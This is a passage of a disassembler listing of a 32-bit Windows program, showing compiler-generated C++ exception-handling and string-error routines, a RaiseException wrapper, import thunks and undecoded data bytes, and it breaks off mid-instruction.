loc_437324: ; CODE XREF: sub_437270+A0j jmp short loc_437336 ; --------------------------------------------------------------------------- loc_437326: ; CODE XREF: sub_437270+64j mov edx, [ebp+var_4] and edx, 0FFFFh cmp [ebp+arg_4], edx jnz short loc_437336 jmp short loc_43733B ; --------------------------------------------------------------------------- loc_437336: ; CODE XREF: sub_437270:loc_437324j ; sub_437270+C2j jmp loc_43729E ; --------------------------------------------------------------------------- loc_43733B: ; CODE XREF: sub_437270+4Dj ; sub_437270+C4j push 19h call sub_421B20 add esp, 4 mov eax, [ebp+var_4] and eax, 0FFFFh cmp [ebp+arg_4], eax jnz short loc_437357 mov eax, [ebp+arg_0] jmp short loc_437359 ; --------------------------------------------------------------------------- loc_437357: ; CODE XREF: sub_437270+E0j xor eax, eax loc_437359: ; CODE XREF: sub_437270+1Dj ; sub_437270+86j ... mov esp, ebp pop ebp retn sub_437270 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_437360 proc near ; CODE XREF: sub_40D4B2+15p ; sub_40D546+15p ... var_3C = byte ptr -3Ch var_38 = byte ptr -38h var_28 = byte ptr -28h var_C = dword ptr -0Ch var_4 = dword ptr -4 push ebp mov ebp, esp push 0FFFFFFFFh push offset SEH_437360 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h lea eax, [ebp+var_3C] push eax push offset aStringTooLong ; "string too long" lea ecx, [ebp+var_38] call sub_40D45F mov [ebp+var_4], 0 lea ecx, [ebp+var_38] push ecx lea ecx, [ebp+var_28] call sub_437510 push offset dword_43B2D0 lea edx, [ebp+var_28] push edx call sub_437F60 mov ecx, [ebp+var_C] mov large fs:0, ecx mov esp, ebp pop ebp retn sub_437360 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4373C0 proc near ; CODE XREF: sub_437450+10p ; sub_437630+Ep ... var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFFh push offset SEH_4373C0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx mov [ebp+var_10], ecx mov eax, [ebp+arg_0] push eax mov ecx, [ebp+var_10] call sub_437CE0 mov [ebp+var_4], 0 mov ecx, [ebp+arg_0] add ecx, 0Ch push ecx mov ecx, [ebp+var_10] add ecx, 0Ch call sub_40D435 mov edx, [ebp+var_10] mov dword ptr [edx], offset off_43AF98 mov [ebp+var_4], 0FFFFFFFFh mov eax, [ebp+var_10] mov ecx, [ebp+var_C] mov large fs:0, ecx mov esp, ebp pop ebp retn 4 sub_4373C0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_437430 proc near ; DATA XREF: seg001:0043AF9Co ; seg001:0043AFACo ... var_4 = dword ptr -4 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov ecx, [ebp+var_4] add ecx, 0Ch call sub_40D521 mov esp, ebp pop ebp retn sub_437430 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_437450 proc near ; DATA XREF: seg001:0043AFA0o var_20 = dword ptr -20h var_1C = byte ptr -1Ch push ebp mov ebp, esp sub esp, 20h mov [ebp+var_20], ecx mov eax, [ebp+var_20] push eax lea ecx, [ebp+var_1C] call sub_4373C0 push offset dword_43B340 lea ecx, [ebp+var_1C] push ecx call sub_437F60 mov esp, ebp pop ebp retn sub_437450 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_437480 proc near ; CODE XREF: sub_4374E0+Ap ; sub_4375B0+13p ... var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push ebp mov ebp, esp push 0FFFFFFFFh push offset SEH_437480 mov eax, large fs:0 push eax mov large fs:0, esp push ecx mov [ebp+var_10], ecx mov eax, [ebp+var_10] mov dword ptr [eax], offset off_43AF98 mov [ebp+var_4], 0 mov ecx, [ebp+var_10] add ecx, 0Ch call sub_40D482 mov [ebp+var_4], 0FFFFFFFFh mov ecx, [ebp+var_10] call sub_437DA0 mov ecx, [ebp+var_C] mov large fs:0, ecx mov esp, ebp pop ebp retn sub_437480 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4374E0 proc near ; DATA XREF: seg001:off_43AF98o var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov ecx, [ebp+var_4] call sub_437480 mov eax, [ebp+arg_0] and eax, 1 test eax, eax jz short loc_437505 mov ecx, [ebp+var_4] push ecx call sub_41FCE0 add esp, 4 loc_437505: ; CODE XREF: sub_4374E0+17j mov eax, [ebp+var_4] mov esp, ebp pop ebp retn 4 sub_4374E0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_437510 proc near ; CODE XREF: sub_437360+3Ap var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov eax, [ebp+arg_0] push eax mov ecx, [ebp+var_4] call sub_437540 mov ecx, [ebp+var_4] mov dword ptr [ecx], offset off_43AFA8 mov eax, [ebp+var_4] mov esp, ebp pop ebp retn 4 sub_437510 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_437540 proc near ; CODE XREF: sub_437510+Ep ; sub_4376C0+Ep var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFFh push offset SEH_437540 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 mov [ebp+var_14], ecx mov [ebp+var_10], offset dword_439EB4 lea eax, [ebp+var_10] push eax mov ecx, [ebp+var_14] call sub_437C70 mov [ebp+var_4], 0 mov ecx, [ebp+arg_0] push ecx mov ecx, [ebp+var_14] add ecx, 0Ch call sub_40D435 mov edx, [ebp+var_14] mov dword ptr [edx], offset off_43AF98 mov [ebp+var_4], 0FFFFFFFFh mov eax, [ebp+var_14] mov ecx, [ebp+var_C] mov large fs:0, ecx mov esp, ebp pop ebp retn 4 sub_437540 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4375B0 proc near ; CODE XREF: sub_437600+Ap ; DATA XREF: seg001:0043B2D4o var_4 = dword ptr -4 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov eax, [ebp+var_4] mov dword ptr [eax], offset off_43AFA8 mov ecx, [ebp+var_4] call sub_437480 mov esp, ebp pop ebp retn sub_4375B0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4375D0 proc near ; DATA XREF: seg001:0043AFB0o var_20 = dword ptr -20h var_1C = byte ptr -1Ch push ebp mov ebp, esp sub esp, 20h mov [ebp+var_20], ecx mov eax, [ebp+var_20] push eax lea ecx, [ebp+var_1C] call sub_437630 push offset dword_43B2D0 lea ecx, [ebp+var_1C] push ecx call sub_437F60 mov esp, ebp pop ebp retn sub_4375D0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_437600 proc near ; DATA XREF: seg001:off_43AFA8o var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov ecx, [ebp+var_4] call sub_4375B0 mov eax, [ebp+arg_0] and eax, 1 test eax, eax jz short loc_437625 mov ecx, [ebp+var_4] push ecx call sub_41FCE0 add esp, 4 loc_437625: ; CODE XREF: sub_437600+17j mov eax, [ebp+var_4] mov esp, ebp pop ebp retn 4 sub_437600 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_437630 proc near ; CODE XREF: sub_4375D0+10p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov eax, [ebp+arg_0] push eax mov ecx, [ebp+var_4] call sub_4373C0 mov ecx, [ebp+var_4] mov dword ptr [ecx], offset off_43AFA8 mov eax, [ebp+var_4] mov esp, ebp pop ebp retn 4 sub_437630 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_437660 proc near ; CODE XREF: sub_40D5B0+17p ; sub_40D82F+Ep var_3C = byte ptr -3Ch var_38 = byte ptr -38h var_28 = byte ptr -28h var_C = dword ptr -0Ch var_4 = dword ptr -4 push ebp mov ebp, esp push 0FFFFFFFFh push offset SEH_437660 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h lea eax, [ebp+var_3C] push eax push offset aInvalidStringP ; "invalid string position" lea ecx, [ebp+var_38] call sub_40D45F mov [ebp+var_4], 0 lea ecx, [ebp+var_38] push ecx lea ecx, [ebp+var_28] call sub_4376C0 push offset dword_43B3D0 lea edx, [ebp+var_28] push edx call sub_437F60 mov ecx, [ebp+var_C] mov large fs:0, ecx mov esp, ebp pop ebp retn sub_437660 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4376C0 proc near ; CODE XREF: sub_437660+3Ap var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov eax, [ebp+arg_0] push eax mov ecx, [ebp+var_4] call sub_437540 mov ecx, [ebp+var_4] mov dword ptr [ecx], offset off_43AFD0 mov eax, [ebp+var_4] mov esp, ebp pop ebp retn 4 sub_4376C0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4376F0 proc near ; CODE XREF: sub_437740+Ap ; DATA XREF: seg001:0043B3D4o var_4 = dword ptr -4 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov eax, [ebp+var_4] mov dword ptr [eax], offset off_43AFD0 mov ecx, [ebp+var_4] call sub_437480 mov esp, ebp pop ebp retn sub_4376F0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_437710 proc near ; DATA XREF: seg001:0043AFD8o var_20 = dword ptr -20h var_1C = byte ptr -1Ch push ebp mov ebp, esp sub esp, 20h mov [ebp+var_20], ecx mov eax, [ebp+var_20] push eax lea ecx, [ebp+var_1C] call sub_437770 push offset dword_43B3D0 lea ecx, [ebp+var_1C] push ecx call sub_437F60 mov esp, ebp pop ebp retn sub_437710 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_437740 proc near ; DATA XREF: seg001:off_43AFD0o var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov ecx, [ebp+var_4] call sub_4376F0 mov eax, [ebp+arg_0] and eax, 1 test eax, eax jz short loc_437765 mov ecx, [ebp+var_4] push ecx call sub_41FCE0 add esp, 4 loc_437765: ; CODE XREF: sub_437740+17j mov eax, [ebp+var_4] mov esp, ebp pop ebp retn 4 sub_437740 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_437770 proc near ; CODE XREF: sub_437710+10p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov eax, [ebp+arg_0] push eax mov ecx, [ebp+var_4] call sub_4373C0 mov ecx, [ebp+var_4] mov dword ptr [ecx], offset off_43AFD0 mov eax, [ebp+var_4] mov esp, ebp pop ebp retn 4 sub_437770 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4377A0 proc near ; DATA XREF: seg002:0043C010o push ebp mov ebp, esp call sub_40D9FE call sub_4377C0 call sub_4377E0 call sub_437810 pop ebp retn sub_4377A0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4377C0 proc near ; CODE XREF: sub_4377A0+8p push ebp mov ebp, esp push offset nullsub_1 call sub_41FE70 add esp, 4 pop ebp retn sub_4377C0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4377E0 proc near ; CODE XREF: sub_4377A0+Dp push ebp mov ebp, esp xor eax, eax mov al, ds:byte_4F0098 and eax, 1 test eax, eax jnz short loc_437800 mov cl, ds:byte_4F0098 or cl, 1 mov ds:byte_4F0098, cl loc_437800: ; CODE XREF: sub_4377E0+Fj pop ebp retn sub_4377E0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_437810 proc near ; CODE XREF: sub_4377A0+12p push ebp mov ebp, esp push offset sub_437830 call sub_41FE70 add esp, 4 pop ebp retn sub_437810 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_437830 proc near ; DATA XREF: sub_437810+3o push ebp mov ebp, esp pop ebp retn sub_437830 endp ; --------------------------------------------------------------------------- align 2 jmp ds:dword_4F14F4 ; --------------------------------------------------------------------------- jmp ds:dword_4F14F0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_437842 proc near ; CODE XREF: sub_40CDDB+5Ep ; seg000:0040FE17p ... jmp ds:dword_4F14EC sub_437842 endp ; --------------------------------------------------------------------------- jmp ds:dword_4F14E8 ; --------------------------------------------------------------------------- jmp ds:dword_4F14E4 ; --------------------------------------------------------------------------- jmp ds:dword_4F14E0 ; --------------------------------------------------------------------------- jmp ds:dword_4F14DC ; --------------------------------------------------------------------------- jmp ds:dword_4F14D8 ; --------------------------------------------------------------------------- jmp ds:dword_4F14D4 ; --------------------------------------------------------------------------- jmp ds:dword_4F14D0 ; --------------------------------------------------------------------------- jmp ds:dword_4F14CC ; --------------------------------------------------------------------------- jmp ds:dword_4F14C8 ; --------------------------------------------------------------------------- jmp ds:dword_4F14C4 ; --------------------------------------------------------------------------- jmp ds:dword_4F14C0 ; --------------------------------------------------------------------------- jmp ds:dword_4F14BC ; --------------------------------------------------------------------------- jmp ds:dword_4F14B8 ; --------------------------------------------------------------------------- jmp ds:dword_4F14B4 ; --------------------------------------------------------------------------- jmp ds:dword_4F14B0 ; --------------------------------------------------------------------------- jmp ds:dword_4F14AC ; --------------------------------------------------------------------------- jmp ds:dword_4F14A8 ; --------------------------------------------------------------------------- jmp ds:dword_4F14A4 ; --------------------------------------------------------------------------- jmp ds:dword_4F12F4 ; --------------------------------------------------------------------------- jmp ds:dword_4F12F8 ; --------------------------------------------------------------------------- jmp ds:dword_4F12FC ; --------------------------------------------------------------------------- dw 35E8h dd 1AFFF987h, 0F9872FE8h, 29E8A1FFh, 30FFF987h, 130C25FFh dd 25FF004Fh, 4F1310h, 131425FFh, 11E8004Fh, 13FFF987h dd 131C25FFh, 5E8004Fh, 0FEFFF987h, 0F986FFE8h, 0F9E807FFh dd 47FFF986h, 0F986F3E8h, 0EDE8F5FFh, 0F0FFF986h, 133425FFh dd 0E1E8004Fh, 0E5FFF986h, 0F986DBE8h, 25FFD0FFh, 4F1340h dd 0F986CFE8h, 0C9E81EFFh, 0C0FFF986h, 0F986C3E8h, 0BDE8CBFFh dd 0F0FFF986h, 135425FFh, 25FF004Fh, 4F1358h, 0F986ABE8h dd 25FFA5FFh, 4F1360h, 136425FFh, 25FF004Fh, 4F1368h, 136C25FFh dd 25FF004Fh, 4F1370h, 137425FFh, 81E8004Fh, 8CFFF986h dd 0F9867BE8h, 25FF46FFh, 4F1380h, 138425FFh, 69E8004Fh dd 9BFFF986h, 0F98663E8h, 5DE887FFh, 6EFFF986h, 0F98657E8h dd 51E8C3FFh, 47FFF986h, 0F9864BE8h, 45E800FFh, 17FFF986h dd 0F9863FE8h, 39E8BCFFh, 9BFFF986h, 0F98633E8h, 25FFCAFFh dd 4F13B0h, 13B425FFh, 25FF004Fh, 4F13B8h, 0F9861BE8h dd 15E8E3FFh, 0E2FFF986h, 0F9860FE8h, 25FFE9FFh, 4F13C8h dd 0F98603E8h, 0FDE899FFh, 0F9FFF985h, 0F985F7E8h, 25FF1CFFh dd 4F13D4h, 13D825FFh, 0E5E8004Fh, 58FFF985h, 0F985DFE8h dd 0D9E85AFFh, 39FFF985h, 0F985D3E8h, 0CDE834FFh, 33FFF985h dd 0F985C7E8h, 0C1E82AFFh, 25FFF985h, 13F825FFh, 0B5E8004Fh dd 56FFF985h, 0F985AFE8h, 0A9E85DFFh, 40FFF985h, 0F985A3E8h dd 9DE84BFFh, 0A9FFF985h, 0F98597E8h, 25FFD1FFh, 4F1414h dd 0F9858BE8h, 85E866FFh, 4FFFF985h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_437A7C proc near ; CODE XREF: sub_41F520+27p ; sub_41F890+13p jmp ds:dword_4F1420 sub_437A7C endp ; --------------------------------------------------------------------------- jmp ds:dword_4F1424 ; --------------------------------------------------------------------------- jmp ds:dword_4F1428 ; --------------------------------------------------------------------------- dw 6DE8h ; --------------------------------------------------------------------------- test edi, ecx jmp dword ptr [esi-67A9818h] ; --------------------------------------------------------------------------- dd 25FFBDFFh, 4F1434h, 143825FFh, 55E8004Fh, 8CFFF985h dd 0F9854FE8h, 25FF87FFh, 4F1444h, 0F98543E8h, 25FFA9FFh dd 4F144Ch, 145025FFh, 25FF004Fh, 4F1454h, 145825FFh, 25FF004Fh dd 4F145Ch, 146025FFh, 25FF004Fh, 4F1464h, 0F98513E8h dd 25FFC5FFh, 4F146Ch, 147025FFh, 25FF004Fh, 4F1474h, 147825FFh dd 25FF004Fh, 4F147Ch, 0F984EFE8h, 0E9E822FFh, 3DFFF984h dd 0F984E3E8h, 0DDE838FFh, 0B8FFF984h, 0F984D7E8h, 0D1E80FFFh dd 9FFF984h, 149825FFh, 0C5E8004Fh, 12FFF984h, 12F025FFh dd 25FF004Fh, 4F12ECh, 0F984B3E8h, 25FF6DFFh, 4F12E4h dd 12E025FFh, 25FF004Fh, 4F12DCh, 0F9849BE8h, 95E89AFFh dd 41FFF984h, 0F9848FE8h, 25FF54FFh, 4F12CCh, 12C825FFh dd 7DE8004Fh, 47FFF984h, 0F98477E8h, 71E8BEFFh, 0B1FFF984h dd 0F9846BE8h, 65E8ACFFh, 0ABFFF984h, 0F9845FE8h, 25FF4CFFh dd 4F12ACh, 12A825FFh, 25FF004Fh, 4F12A4h, 0F98447E8h dd 0CCCC89FFh, 0CCCCCCCCh ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_437BC0 proc near ; CODE XREF: sub_4176D7+21p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp [ebp+arg_0], 0 jnz short loc_437BCE xor eax, eax jmp short loc_437C03 ; --------------------------------------------------------------------------- loc_437BCE: ; CODE XREF: sub_437BC0+8j mov eax, [ebp+arg_0] push eax call sub_41AC70 add esp, 4 add eax, 1 push eax call sub_41AE40 add esp, 4 mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_437C01 mov ecx, [ebp+arg_0] push ecx mov edx, [ebp+var_4] push edx call sub_41E550 add esp, 8 jmp short loc_437C03 ; --------------------------------------------------------------------------- loc_437C01: ; CODE XREF: sub_437BC0+2Dj xor eax, eax loc_437C03: ; CODE XREF: sub_437BC0+Cj ; sub_437BC0+3Fj mov esp, ebp pop ebp retn sub_437BC0 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx mov [ebp-4], ecx mov eax, [ebp-4] mov dword ptr [eax], offset off_43AFE0 mov ecx, [ebp-4] mov dword ptr [ecx+4], 0 mov edx, [ebp-4] mov dword ptr [edx+8], 0 mov eax, [ebp-4] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_437C40 proc near ; DATA XREF: seg001:off_43AFE0o var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov ecx, [ebp+var_4] call sub_437DA0 mov eax, [ebp+arg_0] and eax, 1 test eax, eax jz short loc_437C65 mov ecx, [ebp+var_4] push ecx call sub_41FCE0 add esp, 4 loc_437C65: ; CODE XREF: sub_437C40+17j mov eax, [ebp+var_4] mov esp, ebp pop ebp retn 4 sub_437C40 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_437C70 proc near ; CODE XREF: sub_437540+2Cp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 8 mov [ebp+var_8], ecx mov eax, [ebp+var_8] mov dword ptr [eax], offset off_43AFE0 mov ecx, [ebp+arg_0] mov edx, [ecx] push edx call sub_41AC70 add esp, 4 add eax, 1 push eax call sub_41FD90 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_8] mov ecx, [ebp+var_4] mov [eax+4], ecx mov edx, [ebp+var_8] cmp dword ptr [edx+4], 0 jz short loc_437CC6 mov eax, [ebp+arg_0] mov ecx, [eax] push ecx mov edx, [ebp+var_8] mov eax, [edx+4] push eax call sub_41E550 add esp, 8 loc_437CC6: ; CODE XREF: sub_437C70+3Fj mov ecx, [ebp+var_8] mov dword ptr [ecx+8], 1 mov eax, [ebp+var_8] mov esp, ebp pop ebp retn 4 sub_437C70 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_437CE0 proc near ; CODE XREF: sub_4373C0+23p ; seg000:00437D8Ep var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 8 mov [ebp+var_8], ecx mov eax, [ebp+var_8] mov dword ptr [eax], offset off_43AFE0 mov ecx, [ebp+var_8] mov edx, [ebp+arg_0] mov eax, [edx+8] mov [ecx+8], eax mov ecx, [ebp+var_8] cmp dword ptr [ecx+8], 0 jz short loc_437D4F mov edx, [ebp+arg_0] mov eax, [edx+4] push eax call sub_41AC70 add esp, 4 add eax, 1 push eax call sub_41FD90 add esp, 4 mov [ebp+var_4], eax mov ecx, [ebp+var_8] mov edx, [ebp+var_4] mov [ecx+4], edx mov eax, [ebp+var_8] cmp dword ptr [eax+4], 0 jz short loc_437D4D mov ecx, [ebp+arg_0] mov edx, [ecx+4] push edx mov eax, [ebp+var_8] mov ecx, [eax+4] push ecx call sub_41E550 add esp, 8 loc_437D4D: ; CODE XREF: sub_437CE0+55j jmp short loc_437D5B ; --------------------------------------------------------------------------- loc_437D4F: ; CODE XREF: sub_437CE0+25j mov edx, [ebp+var_8] mov eax, [ebp+arg_0] mov ecx, [eax+4] mov [edx+4], ecx loc_437D5B: ; CODE XREF: sub_437CE0:loc_437D4Dj mov eax, [ebp+var_8] mov esp, ebp pop ebp retn 4 sub_437CE0 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx mov [ebp-4], ecx mov eax, [ebp-4] cmp eax, [ebp+8] jz short loc_437D93 mov ecx, [ebp-4] call sub_437DA0 mov ecx, [ebp+8] push ecx mov ecx, [ebp-4] call sub_437CE0 loc_437D93: ; CODE XREF: seg000:00437D7Dj mov eax, [ebp-4] mov esp, ebp pop ebp retn 4 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_437DA0 proc near ; CODE XREF: sub_437480+41p ; sub_437C40+Ap ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 8 mov [ebp+var_8], ecx mov eax, [ebp+var_8] mov dword ptr [eax], offset off_43AFE0 mov ecx, [ebp+var_8] cmp dword ptr [ecx+8], 0 jz short loc_437DD0 mov edx, [ebp+var_8] mov eax, [edx+4] mov [ebp+var_4], eax mov ecx, [ebp+var_4] push ecx call sub_41FCE0 add esp, 4 loc_437DD0: ; CODE XREF: sub_437DA0+19j mov esp, ebp pop ebp retn sub_437DA0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_437DE0 proc near ; DATA XREF: seg001:0043AFE4o var_4 = dword ptr -4 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov eax, [ebp+var_4] cmp dword ptr [eax+4], 0 jz short loc_437DF8 mov ecx, [ebp+var_4] mov eax, [ecx+4] jmp short loc_437DFD ; --------------------------------------------------------------------------- loc_437DF8: ; CODE XREF: sub_437DE0+Ej mov eax, offset aUnknownExcepti ; "Unknown exception" loc_437DFD: ; CODE XREF: sub_437DE0+16j mov esp, ebp pop ebp retn sub_437DE0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_437E10 proc near ; CODE XREF: sub_437E50+Ap var_4 = dword ptr -4 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov eax, [ebp+var_4] mov dword ptr [eax], offset off_43B000 push 1Bh call sub_421A80 add esp, 4 mov ecx, [ebp+var_4] cmp dword ptr [ecx+4], 0 jz short loc_437E42 mov edx, [ebp+var_4] mov eax, [edx+4] push eax call sub_421F00 add esp, 4 loc_437E42: ; CODE XREF: sub_437E10+21j push 1Bh call sub_421B20 add esp, 4 mov esp, ebp pop ebp retn sub_437E10 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_437E50 proc near ; DATA XREF: seg001:off_43B000o var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov ecx, [ebp+var_4] call sub_437E10 mov eax, [ebp+arg_0] and eax, 1 test eax, eax jz short loc_437E75 mov ecx, [ebp+var_4] push ecx call sub_41FCE0 add esp, 4 loc_437E75: ; CODE XREF: sub_437E50+17j mov eax, [ebp+var_4] mov esp, ebp pop ebp retn 4 sub_437E50 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx mov [ebp-4], ecx mov eax, [ebp-4] add eax, 9 push eax mov ecx, [ebp+8] add ecx, 9 push ecx call sub_41D900 add esp, 8 neg eax sbb eax, eax inc eax mov esp, ebp pop ebp retn 4 ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx mov [ebp-4], ecx mov eax, [ebp-4] add eax, 9 push eax mov ecx, [ebp+8] add ecx, 9 push ecx call sub_41D900 add esp, 8 neg eax sbb eax, eax neg eax mov esp, ebp pop ebp retn 4 ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx mov [ebp-4], ecx mov eax, [ebp-4] add eax, 9 push eax mov ecx, [ebp+8] add ecx, 9 push ecx call sub_41D900 add esp, 8 xor edx, edx test eax, eax setnle dl mov eax, edx mov esp, ebp pop ebp retn 4 ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx mov [ebp-4], ecx mov eax, [ebp-4] add eax, 8 mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx mov [ebp-4], ecx mov eax, [ebp-4] mov dword ptr [eax], offset off_43B000 mov eax, [ebp-4] mov esp, ebp pop ebp retn 4 ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx mov [ebp-4], ecx mov eax, [ebp-4] mov esp, ebp pop ebp retn 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_437F60 proc near ; CODE XREF: sub_437360+48p ; sub_437450+1Ep ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 20h push esi push edi mov ecx, 8 mov esi, offset dword_43B008 lea edi, [ebp+var_20] rep movsd mov eax, [ebp+arg_0] mov [ebp+var_8], eax mov ecx, [ebp+arg_4] mov [ebp+var_4], ecx lea edx, [ebp+var_C] push edx mov eax, [ebp+var_10] push eax mov ecx, [ebp+var_1C] push ecx mov edx, [ebp+var_20] push edx call ds:dword_4F1498 ; RaiseException pop edi pop esi mov esp, ebp pop ebp retn 8 sub_437F60 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_437FB0 proc near ; DATA XREF: seg001:0043B1D4o lea ecx, [ebp-38h] jmp sub_40D482 sub_437FB0 endp ; --------------------------------------------------------------------------- mov eax, [ebp-20h] and eax, 1 test eax, eax jz locret_437FCE mov ecx, [ebp+8] jmp sub_40D482 ; --------------------------------------------------------------------------- locret_437FCE: ; CODE XREF: seg000:00437FC0j retn ; --------------------------------------------------------------------------- loc_437FCF: ; DATA XREF: sub_40D017o mov eax, offset dword_43B1A8 jmp sub_41F580 ; --------------------------------------------------------------------------- lea ecx, [ebp+14h] jmp sub_40D482 ; --------------------------------------------------------------------------- loc_437FE1: ; DATA XREF: seg001:0043B204o lea ecx, [ebp-1Ch] jmp sub_40D482 ; --------------------------------------------------------------------------- loc_437FE9: ; DATA XREF: sub_40D18Eo mov eax, offset dword_43B1D8 jmp sub_41F580 ; --------------------------------------------------------------------------- align 4 loc_437FF4: ; DATA XREF: sub_40D8BFo mov eax, offset dword_43B208 jmp sub_41F580 ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-38h] call sub_40D482 retn ; =============== S U B R O U T I N E ======================================= SEH_437360 proc near ; DATA XREF: sub_437360+5o mov eax, offset dword_43B2E0 jmp 